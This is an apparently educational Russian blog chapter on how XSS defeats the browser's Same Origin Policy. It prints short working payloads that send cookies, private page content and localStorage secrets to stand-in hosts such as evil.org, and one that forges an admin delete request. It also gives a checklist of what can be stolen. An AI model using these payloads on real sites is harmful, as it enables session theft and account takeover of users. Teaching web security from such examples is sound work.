Хакер | Этичный хакинг с Михаилом Тарасовым

Книга: «Все об уязвимости XSS». Глава 3: Как работает XSS — Анатомия атаки 🔬 • Same Origin Policy и почему XSS его обходит как WAF на выходных

Mikhail Tarasov·30 Oct 2025

Same Origin Policy (SOP) — это фундамент веб-безопасности. Его суть: сайт может взаимодействовать только с ресурсами своего домена, схемы и порта. SOP — тот самый “забор” между разными веб-приложениями, не позволяющий читать и менять данные другого сайта. Но весь прикол XSS — в том, что он взрывает эти стены, как, прости господи, школьник, который нашёл дыру в заборе.

Как работает Same Origin Policy

• Origin — это триады: схема (http/https), домен и порт. Пример:

• `http://evil.com:80` — один origin

• `http://secure.com:443` — другой origin Они не могут взаимодействовать друг с другом: нельзя получить DOM, cookies, localStorage, сделать прямой XMLHttpRequest из origin A в origin B.

• Суть ограничения:

• JavaScript, запущенный на siteA.com, не может читать содержимое страниц на siteB.com

• Нет доступа к cookies других доменов

• Нет доступа к объектам window, localStorage, sessionStorage других origin’ов

• XMLHttpRequest и fetch могут обращаться только к своему origin (без специфичных CORS-разрешений)

Это и есть основа кешей браузера, защищённого логина, работы с куками. Пользователь может быть залогинен одновременно в десятках сайтов — SOP не даёт одному сайту выкрасть данные другого.

Почему XSS нарушает SOP

Тут начинается магия. Самый важный факт: SOP защищает происхождение — а не сам домен. Если ты внедрил JavaScript через XSS, он исполняется в origin того сайта, куда попал. То есть:

• Твой скрипт через XSS внедрился на bank.com

• Браузер считает его “родным” JavaScript для bank.com

• Скрипт получает полный доступ: читать cookies, DOM, localStorage, делать любые запросы на сайты того же происхождения

Всё. SOP больше тебе не барьер — payload с правами настоящего пользователя и в доверенном контексте. Как будто ты — сам пользователь.

Примеры: как XSS обходит Same Origin Policy

1. Кража куки:

<script>
  fetch('https://evil.org/grab?cookie='+document.cookie)
</script>
  1. SOP разрешает доступ к cookie “bank.com”, так как скрипт работает на “bank.com”.

2. Чтение приватного DOM:

<script>
  let data = document.getElementById('accountInfo').innerHTML;
  fetch('https://yourtrap.com/collect?info='+encodeURIComponent(data));
</script>

2. Ты видишь приватные сообщения, счета, переписку.

3. LocalStorage/sessionStorage:

<script>
  fetch('https://xsstrap.com/save?ls='+localStorage.getItem('secret'))
</script>

3. SOP не запрещает: твой скрипт на том же origin, никаких барьеров.

4. Отправка запросов от имени жертвы:

<script>
  fetch('/admin/delUser?id=123', {credentials: 'include', method: 'POST'})
</script>

4. Запросы идут с куками и сессиями жертвы — полное выполнение команд внутри сайта.

SOP отлично работает — пока XSS не вмешивается

Все эти ограничения бесполезны, если твой скрипт попал в контент сайта через уязвимость. В отличие от внешних атак (CSRF, CORS-эксплуатации), XSS даёт “нативное присутствие”: твой payload становится частью доверенного приложения.

• SOP как WAF на выходных — стоит, но пропускает своих

• Весь фронтовый функционал открыт

• Можно творить любые чудеса: снимать скриншоты, красть данные, генерировать новые запросы, менять интерфейс

Почему это не “обход”, а “захват”

Когда атакующий внедряет скрипт через XSS, он не ломает SOP напрямую — он эксплуатирует доверие браузера к собственной среде. SOP не защищает сайт от себя же! Именно поэтому XSS считается одной из самых критичных уязвимостей: всё, что защищает браузер — перестаёт иметь значение, если твой скрипт запущен внутри origin жертвы.

• Это как если бы ты получил ключи от квартиры: стены, замки, охрана — бессмысленны, если сам открываешь дверь.

• SOP отлично защищает “от чужих”, но XSS — это атака изнутри.

Современные обходы и усиления SOP

Браузеры и сайты усиленно борются с XSS, добавляя новые меры защиты:

• Content Security Policy (CSP): запрещает выполнение inline-скриптов, ограничивает источники для external JS

• HTTPOnly для cookie: JS не может прочитать такие cookie, снижая риски

• Subresource Integrity (SRI): не даёт загрузить поддельные скрипты

• Сandbox-атрибуты для iframe

• Системы валидации и фильтрации на фронте и бэке

Но все эти меры — работа против последствий, не самой возможности XSS. SOP как был уязвим к “доморощенному” JS, так и остался.

Атаки через цепочку SOP + XSS

В современных веб-приложениях цепочки атак становятся стандартом:

• Комбо XSS → SSRF → RCE

• XSS → получение внутренней информации → многосценарная атака на инфраструктуру

• XSS → обход CSP через несовершенные политики

• XSS → сбор информации для последующего фишинга, эксплойта, социнженерии

Для атакующих SOP — не препятствие, а гарантия, что твой payload будет работать в полном доверии, пока живёт на сайте.

Чеклист: что можно украсть через XSS внутри SOP

• Cookies (если не HTTPOnly)

• Tokens в localStorage и sessionStorage

• Данные внутри DOM (все поля, текст, даже скрытые элементы)

• HTML-контент страниц

• Информацию из JS-объектов приложения

• Возможность выполнять любые действия: submit форм, отправка запросов, генерация собственных fetch/XHR

Вывод: SOP спасает, но XSS ломает всё

Same Origin Policy — это первая и последняя линия обороны браузера. Но если ты внедрил свой код через XSS, она бесполезна: твой скрипт работает с максимальными правами, и браузер считает тебя “своим”.

Сделай вывод: как только видишь потенциальную точку XSS — знай, SOP больше не твой друг. Ты можешь читать, отправлять, менять всё, к чему только есть доступ у пользователя на этом origin. И это главное — через XSS ломаются не только странички, но и вся логика доверенного взаимодействия с сайтом.

43 views·4 shares
43 views